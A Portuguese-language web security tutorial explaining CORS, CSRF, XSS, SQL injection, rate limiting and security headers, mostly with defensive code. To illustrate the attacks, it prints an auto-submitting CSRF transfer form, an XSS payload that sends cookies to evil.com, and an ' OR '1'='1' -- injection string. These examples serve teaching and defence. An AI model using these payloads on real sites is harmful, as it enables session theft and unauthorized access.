Proteções comuns
Defesas contra as ameaças mais frequentes em aplicações web: CORS, CSRF, XSS, injeção de SQL, rate limiting e outras proteções essenciais.
As ameaças que todo sistema enfrenta
Independentemente da arquitetura, há um conjunto de ataques que toda aplicação web precisa saber lidar. Esses ataques são bem conhecidos, estão documentados e têm soluções comprovadas — mas continuam sendo a causa da maioria das brechas de segurança porque são ignorados ou implementados de forma errada.
Cross-Origin Resource Sharing (CORS)
CORS não é um ataque, mas sim um mecanismo de segurança do navegador. Ele controla quais domínios podem fazer requisições à sua API.
O problema
Por padrão, os navegadores bloqueiam requisições JavaScript para domínios diferentes do da página atual. Isso protege contra scripts maliciosos que tentem acessar APIs em nome do usuário.
Configuração correta
// ❌ Perigoso: permitir qualquer origem
app.use(cors({ origin: '*' }));
// ✅ Seguro: apenas origens conhecidas
app.use(cors({
origin: ['https://miapp.com', 'https://admin.miapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400 // Cache de preflight por 24 horas
}));
Headers CORS importantes
| Header | Propósito |
|---|---|
Access-Control-Allow-Origin | Domínios permitidos |
Access-Control-Allow-Methods | Métodos HTTP permitidos |
Access-Control-Allow-Headers | Headers personalizados permitidos |
Access-Control-Allow-Credentials | Se cookies/tokens são permitidos |
Access-Control-Max-Age | Tempo de cache do preflight |
Erros comuns
- Usar
origin: '*'comcredentials: true— os navegadores rejeitam essa combinação - Não tratar as requisições OPTIONS (preflight)
- Configurar CORS apenas em desenvolvimento e esquecer em produção
Cross-Site Request Forgery (CSRF)
CSRF engana o navegador do usuário para que execute ações indesejadas em um site onde ele está autenticado.
Como o ataque funciona
1. Usuário faz login em banco.com (cookie de sessão ativa)
2. Usuário visita site-malicioso.com
3. site-malicioso.com tem um formulário oculto:
<form action="https://banco.com/transferir" method="POST">
<input name="destino" value="atacante-123">
<input name="monto" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. O navegador envia o cookie de sessão automaticamente
5. banco.com processa a transferência como se fosse legítima
Proteções
Token CSRF
O servidor gera um token único por sessão que deve ser incluído em cada formulário:
<form action="/transferir" method="POST">
<input type="hidden" name="_csrf" value="token-aleatorio-único">
<input name="destino" value="">
<input name="monto" value="">
<button type="submit">Transferir</button>
</form>
O servidor verifica se o token corresponde antes de processar a requisição.
Cookie SameSite
A forma mais moderna e eficaz de prevenir CSRF:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| Valor | Comportamento |
|---|---|
Strict | O cookie nunca é enviado em requisições cross-site |
Lax | É enviado em navegação top-level (links), mas não em formulários POST |
None | É enviado sempre (exige Secure) |
Verificação do header Origin/Referer
O servidor pode verificar se a requisição vem de uma origem esperada:
function verifyCsrf(req) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://miapp.com'];
if (!allowedOrigins.some(o => origin?.startsWith(o))) {
throw new Error('CSRF detectado');
}
}
Cross-Site Scripting (XSS)
XSS permite que um atacante injete scripts maliciosos em páginas visualizadas por outros usuários.
Tipos de XSS
Stored XSS (persistente)
O script malicioso é armazenado no banco de dados e executado toda vez que um usuário visualiza o conteúdo:
Atacante publica um comentário:
"Ótimo artigo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
Cada usuário que vê o comentário executa o script sem saber.
Reflected XSS
O script vem na URL e é refletido na resposta:
https://miapp.com/buscar?q=<script>alert('XSS')</script>
DOM-based XSS
O script é executado manipulando o DOM diretamente no cliente:
// Vulnerável: usa innerHTML com dados da URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;
Proteções contra XSS
Escapar output
Sempre escape dados do usuário antes de inseri-los no HTML:
// Função de escape básica
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
Content Security Policy
CSP é a defesa mais eficaz contra XSS:
Content-Security-Policy: script-src 'self'; object-src 'none';
Isso impede a execução de scripts inline e permite apenas scripts do mesmo domínio.
Usar frameworks modernos
React, Vue e Angular escapam automaticamente o conteúdo renderizado. O risco aparece quando se usa dangerouslySetInnerHTML (React) ou v-html (Vue).
Injeção de SQL
A injeção de SQL permite que um atacante execute consultas arbitrárias no banco de dados.
Como funciona
// Código vulnerável
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// O atacante envia como email:
// ' OR '1'='1' --
// A consulta resultante:
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Isso retorna TODOS os usuários
Proteções
Consultas parametrizadas
A proteção mais eficaz e simples:
// Node.js com pg
const result = await db.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
// Java com PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);
ORM com consultas seguras
Os ORMs geram consultas parametrizadas automaticamente:
// Prisma
const user = await prisma.user.findUnique({
where: { email: email }
});
// TypeORM
const user = await userRepository.findOne({
where: { email: email }
});
Validação de inputs
Além de parametrizar, valide se os dados têm o formato esperado:
// Validar formato de email antes de consultar
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
throw new ValidationError('Formato de email inválido');
}
Rate Limiting
Rate limiting protege contra ataques de força bruta, DDoS e abuso da API.
Estratégias de rate limiting
Por IP
// Limitar a 100 requests por minuto por IP
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 100,
message: 'Demasiadas peticiones. Intente en un minuto.'
});
Por usuário autenticado
// Limitar a 1000 requests por hora por usuário
const userLimiter = rateLimit({
windowMs: 60 * 60 * 1000,
max: 1000,
keyGenerator: (req) => req.user.id
});
Por endpoint
Endpoints sensíveis como login ou registro precisam de limites mais rígidos:
// Login: máximo 5 tentativas por minuto
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);
// Registro: máximo 3 por hora
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);
Resposta ao rate limiting
Quando o limite é excedido, responda com:
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060
Outras proteções essenciais
Headers de segurança
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Validação de uploads
Se sua aplicação aceita arquivos, valide:
- Tipo MIME real (não apenas a extensão)
- Tamanho máximo
- Conteúdo (escaneamento de malware, se possível)
- Armazene fora do diretório web público
Logging de segurança
Registre eventos de segurança para detecção e resposta:
- Tentativas de login malsucedidas
- Mudanças de permissões
- Acesso a dados sensíveis
- Requisições bloqueadas por rate limiting
- Erros de validação suspeitos
Resumo
As proteções comuns são a base da segurança web. CORS controla o acesso cross-origin, CSRF previne ações não autorizadas, XSS bloqueia a injeção de scripts, as consultas parametrizadas eliminam a injeção de SQL, e o rate limiting protege contra abuso. Nenhuma dessas proteções é opcional — todas devem ser implementadas desde o início do projeto. A maioria das brechas de segurança explora a ausência dessas defesas básicas, não vulnerabilidades sofisticadas.